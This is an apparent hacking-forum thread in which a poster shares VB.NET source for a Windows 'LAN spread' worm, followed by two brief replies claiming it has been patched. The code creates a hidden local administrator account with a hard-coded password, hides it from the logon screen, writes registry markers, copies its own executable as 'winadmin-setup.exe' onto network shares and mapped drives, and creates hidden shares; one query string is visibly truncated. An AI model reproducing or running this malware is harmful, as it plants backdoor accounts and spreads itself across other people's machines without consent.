

Forum:[Hack Forums](#)

Thread: [Is this a lan spread source](#)

Tafelpoot - July 11, 2012, 6:37 am

Code Imports System

Imports System.Collections.Generic

Imports System.Text

Imports System.Windows.Forms

Imports System.IO

Imports Microsoft.Win32

Imports System.DirectoryServices

Imports System.Management

Module laan

Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)

Public Function chkIt() As Boolean

Dim registr As String =
DirectCast(Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Universal", "Universal",
"Universal"), String)

If registr = "Universal" Then

Return True

Else

Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("Software", True)

Dim newkey As RegistryKey = key.CreateSubKey("Universal")

```
newkey.SetValue("Universal", [me])
```

```
Return False
```

```
End If
```

```
End Function
```

```
Public Sub UniversalUser()
```

```
Try
```

```
Dim ad As New DirectoryEntry("WinNT:// " & Environment.MachineName & ",computer")
```

```
Dim usr As DirectoryEntry = ad.Children.Add("Universal", "user")
```

```
usr.Invoke("SetPassword", New Object() {"Universalwashere"})
```

```
usr.CommitChanges()
```

```
Dim de As DirectoryEntry
```

```
de = ad.Children.Find("Administrators", "group")
```

```
If de IsNot Nothing Then
```

```
de.Invoke("Add", New Object() {usr.Path.ToString()})
```

```
End If
```

```
Try
```

```
Dim rkey As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows  
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
```

```
Registry.SetValue(rkey, "Universal", 0, RegistryValueKind.DWord)
```

Catch ex As Exception

End Try

Catch ex As Exception

End Try

End Sub

Public Sub Share()

Try

Dim shares As New ManagementObjectSearcher("select * from
For Each serv As ManagementObject In shares.[Get]()

Dim shareName As String = Convert.ToString(serv("Name"))

If Not shareName.Contains("\$") Then

File.Copy([me], ("\\ " & Environment.MachineName & "\") + shareName &
"winadmin-setup.exe", True)

End If

Next

Catch ex As Exception

End Try

Try

```
Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network  
Drive MRU"
```

```
Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)
```

```
For Each valuenam As String In reg.GetValueNames()
```

```
Dim path As String = reg.GetValue(valuenam).ToString()
```

```
If valuenam.ToLower() <> "mrulist" Then
```

```
Try
```

```
File.Copy([me], path & "\\winadmin-setup.exe", True)
```

```
Catch er As Exception
```

```
End Try
```

```
End If
```

```
Next
```

```
reg.Close()
```

```
Catch er As Exception
```

```
End Try
```

```
End Sub
```

```
Public Sub CreateShare(ByVal dir As String, ByVal name As String)
```

Try

Directory.CreateDirectory(dir)

Dim managementClass As New ManagementClass("Win32_Share")

Dim inParams As ManagementBaseObject =
managementClass.GetMethodParameters("Create")

Dim outParams As ManagementBaseObject

inParams("Description") = name

inParams("Name") = name

inParams("Path") = dir

inParams("Type") = &H0

outParams = managementClass.InvokeMethod("Create", inParams, Nothing)

If CUInt((outParams.Properties("ReturnValue").Value)) = 0 Then

 If Directory.Exists(dir) Then

 Dim d As New DirectoryInfo(dir)

 d.Attributes = FileAttributes.Hidden

 End If

End If

Catch e As Exception

End Try

End Sub

End Module

Heisenberg Walter White - *July 11, 2012, 9:11 am*

Yes but it doesn't work anymore, it has been patched by Microsoft.

????? - *July 11, 2012, 11:45 am*

Yes, but this will only work on computers that have not downloaded the updates.